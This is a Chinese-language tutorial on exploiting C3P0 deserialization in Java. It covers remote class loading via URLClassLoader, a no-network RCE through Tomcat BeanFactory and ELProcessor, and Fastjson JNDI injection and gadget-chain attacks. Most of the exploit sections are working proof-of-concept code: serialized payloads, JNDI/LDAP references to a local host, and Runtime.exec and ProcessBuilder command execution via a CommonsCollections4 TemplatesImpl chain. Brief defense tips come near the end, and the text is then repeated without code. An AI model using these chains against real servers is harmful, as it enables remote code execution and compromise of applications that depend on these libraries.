Java安全中C3P0反序列化在各个链子中的利用手法(不出网/fastjson等等)
字数 1835 2025-08-26 22:11:56

C3P0反序列化漏洞利用手法详解

1. C3P0简介

C3P0是一个用于创建和管理数据库连接的Java库,通过连接池方式复用连接以减少资源开销。它提供连接数控制、连接可靠性测试、连接泄露控制、缓存语句等功能。Hibernate自带的连接池就是C3P0。

2. URLClassLoader链分析

2.1 利用链组成

com.sun.jndi.rmi.registry.RegistryContext -> lookup
com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized -> getObject
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase -> readObject

2.2 关键类分析

PoolBackedDataSourceBase类

  • 实现Serializable接口
  • 具有PropertyChangeSupport和VetoableChangeSupport对象,具备监听器功能

序列化过程

  1. writeObject方法中会保存成员变量connectionPoolDataSource
  2. 如果connectionPoolDataSource不可序列化,会先执行indirector.indirectForm方法

反序列化过程

  1. 调用IndirectlySerialized#getObject方法还原对象
  2. ReferenceIndirector.ReferenceSerialized实现了IndirectlySerialized接口
  3. 最终通过ReferenceableUtils.referenceToObject方法加载远程类

2.3 POC构造

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;

public class c3p0_POC {
    private static class ConnectionPool implements ConnectionPoolDataSource, Referenceable {
        protected String classFactory;
        protected String classFactoryLocation;
        
        public ConnectionPool(String classFactory, String classFactoryLocation){
            this.classFactory = classFactory;
            this.classFactoryLocation = classFactoryLocation;
        }
        
        @Override
        public Reference getReference() throws NamingException {
            return new Reference("ref", classFactory, classFactoryLocation);
        }
        
        // 其他方法实现...
    }
    
    public static void main(String[] args) throws Exception {
        Constructor constructor = Class.forName("com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase").getDeclaredConstructor();
        constructor.setAccessible(true);
        PoolBackedDataSourceBase obj = (PoolBackedDataSourceBase) constructor.newInstance();
        
        ConnectionPool connectionPool = new ConnectionPool("EvilObject", "http://127.0.0.1:8888/");
        
        Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(obj, connectionPool);
        
        String serialize = serialize(obj);
        System.out.println(serialize);
        unserialize(serialize);
    }
}

3. 不出网利用 - BeanFactory RCE

3.1 利用原理

classFactoryLocation为null时,不会加载远程字节码,而是直接加载本地字节码。可以利用实现了ObjectFactory接口的类,调用其getObjectInstance方法。

3.2 利用条件

需要tomcat8下的依赖

3.3 利用方式

使用org.apache.naming.factory.BeanFactory类 + javax.el.ELProcessor#eval执行任意EL表达式

3.4 POC

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.logging.Logger;

public class c3p0_no_network {
    private static class NotSerializable implements ConnectionPoolDataSource, Referenceable {
        private String classFactory;
        private String classFactoryLocation;
        
        public NotSerializable() {
            this.classFactory = "BeanFactory";
            this.classFactoryLocation = null;
        }
        
        @Override
        public Reference getReference() throws NamingException {
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
            ref.add(new StringRefAddr("forceString", "x=eval"));
            ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','-a','Calculator']).start()\")"));
            return ref;
        }
        
        // 其他方法实现...
    }
    
    public static void main(String[] args) throws Exception {
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        ConnectionPoolDataSource connectionPoolDataSource1 = new NotSerializable();
        
        Field field = poolBackedDataSourceBase.getClass().getDeclaredField("connectionPoolDataSource");
        field.setAccessible(true);
        field.set(poolBackedDataSourceBase, connectionPoolDataSource1);
        
        String serializeData = serialize(poolBackedDataSourceBase);
        System.out.println(serializeData);
        unserialize(serializeData);
    }
}

3.5 其他利用方式

  1. org.apache.naming.factory.BeanFactory + groovy
  2. org.apache.naming.factory.BeanFactory + SnakeYaml
  3. org.apache.naming.factory.BeanFactory + XStream

4. Fastjson中的JndiRefForwardingDataSource类利用

4.1 利用链分析

JndiRefForwardingDataSource类的dereference方法中存在lookup调用,jndiName可控会导致JNDI注入。

虽然JndiRefForwardingDataSource类没有对应的setter,但它继承了JndiRefDataSourceBase类,该类中存在setter方法。

4.2 POC构造

import com.alibaba.fastjson.JSON;

public class c3p0_fastjson {
    public static void main(String[] args){
        String poc = "{\"@type\": \"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",\n" +
                "\"jndiName\": \"ldap://127.0.0.1:1389/fvtvuj\",\n" +
                "\"loginTimeout\": 0}";
        JSON.parseObject(poc);
    }
}

5. Fastjson之WrapperConnectionPoolDataSource类不出网利用

5.1 利用原理

WrapperConnectionPoolDataSource类在初始化时调用setUpPropertyListeners方法开启属性监听功能。当设置userOverridesAsString属性时,会触发反序列化。

5.2 利用链分析

  1. WrapperConnectionPoolDataSource初始化时创建监听器
  2. 设置userOverridesAsString属性时触发监听器
  3. 监听器调用C3P0ImplUtils.parseUserOverridesAsString处理属性值
  4. 最终通过SerializableUtils.fromByteArray进行反序列化

5.3 POC构造

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class c3p0_fastjson2 {
    public static PriorityQueue CommonsCollections4() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ctClass = pool.makeClass("c3p0Exploit");
        ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        String shell = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(shell);
        byte[] shellCode = ctClass.toBytecode();
        byte[][] targetCode = new byte[][]{shellCode};
        
        TemplatesImpl templatesImpl = new TemplatesImpl();
        setFieldValue(templatesImpl, "_name", "xx");
        setFieldValue(templatesImpl, "_bytecodes", targetCode);
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(TrAXFilter.class),
            new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templatesImpl})
        };
        
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
        
        PriorityQueue priorityQueue = new PriorityQueue(2);
        priorityQueue.add(1);
        priorityQueue.add(2);
        
        Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
        field.setAccessible(true);
        field.set(priorityQueue, transformingComparator);
        
        return priorityQueue;
    }
    
    public static void main(String[] args) throws Exception {
        PriorityQueue queue = CommonsCollections4();
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
        outputStream.writeObject(queue);
        outputStream.close();
        byte[] bytes = byteArrayOutputStream.toByteArray();
        
        String hexString = bytesToHexString(bytes, bytes.length);
        String poc = "{\n\t\"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n\t\"userOverridesAsString\": \"HexAsciiSerializedMap:" + hexString + ";\"\n}";
        System.out.println(poc);
        JSON.parseObject(poc);
    }
}

6. 防御建议

  1. 升级C3P0到最新版本
  2. 限制反序列化操作
  3. 使用安全管理器限制网络访问
  4. 对Fastjson等JSON库进行安全配置
  5. 移除不必要的依赖

7. 总结

C3P0反序列化漏洞提供了多种利用方式,包括:

  • 通过URLClassLoader加载远程恶意类
  • 利用BeanFactory在不出网情况下执行代码
  • 结合Fastjson实现JNDI注入
  • 通过WrapperConnectionPoolDataSource的属性监听机制触发反序列化

理解这些利用手法有助于更好地防御相关漏洞。

C3P0反序列化漏洞利用手法详解 1. C3P0简介 C3P0是一个用于创建和管理数据库连接的Java库,通过连接池方式复用连接以减少资源开销。它提供连接数控制、连接可靠性测试、连接泄露控制、缓存语句等功能。Hibernate自带的连接池就是C3P0。 2. URLClassLoader链分析 2.1 利用链组成 2.2 关键类分析 PoolBackedDataSourceBase类 : 实现Serializable接口 具有PropertyChangeSupport和VetoableChangeSupport对象,具备监听器功能 序列化过程 : 在 writeObject 方法中会保存成员变量 connectionPoolDataSource 如果 connectionPoolDataSource 不可序列化,会先执行 indirector.indirectForm 方法 反序列化过程 : 调用 IndirectlySerialized#getObject 方法还原对象 ReferenceIndirector.ReferenceSerialized 实现了 IndirectlySerialized 接口 最终通过 ReferenceableUtils.referenceToObject 方法加载远程类 2.3 POC构造 3. 不出网利用 - BeanFactory RCE 3.1 利用原理 当 classFactoryLocation 为null时,不会加载远程字节码,而是直接加载本地字节码。可以利用实现了 ObjectFactory 接口的类,调用其 getObjectInstance 方法。 3.2 利用条件 需要tomcat8下的依赖 3.3 利用方式 使用 org.apache.naming.factory.BeanFactory 类 + javax.el.ELProcessor#eval 执行任意EL表达式 3.4 POC 3.5 其他利用方式 org.apache.naming.factory.BeanFactory + groovy org.apache.naming.factory.BeanFactory + SnakeYaml org.apache.naming.factory.BeanFactory + XStream 4. Fastjson中的JndiRefForwardingDataSource类利用 4.1 利用链分析 JndiRefForwardingDataSource 类的 dereference 方法中存在 lookup 调用, jndiName 可控会导致JNDI注入。 虽然 JndiRefForwardingDataSource 类没有对应的setter,但它继承了 JndiRefDataSourceBase 类,该类中存在setter方法。 4.2 POC构造 5. Fastjson之WrapperConnectionPoolDataSource类不出网利用 5.1 利用原理 WrapperConnectionPoolDataSource 类在初始化时调用 setUpPropertyListeners 方法开启属性监听功能。当设置 userOverridesAsString 属性时,会触发反序列化。 5.2 利用链分析 WrapperConnectionPoolDataSource 初始化时创建监听器 设置 userOverridesAsString 属性时触发监听器 监听器调用 C3P0ImplUtils.parseUserOverridesAsString 处理属性值 最终通过 SerializableUtils.fromByteArray 进行反序列化 5.3 POC构造 6. 防御建议 升级C3P0到最新版本 限制反序列化操作 使用安全管理器限制网络访问 对Fastjson等JSON库进行安全配置 移除不必要的依赖 7. 总结 C3P0反序列化漏洞提供了多种利用方式,包括: 通过URLClassLoader加载远程恶意类 利用BeanFactory在不出网情况下执行代码 结合Fastjson实现JNDI注入 通过WrapperConnectionPoolDataSource的属性监听机制触发反序列化 理解这些利用手法有助于更好地防御相关漏洞。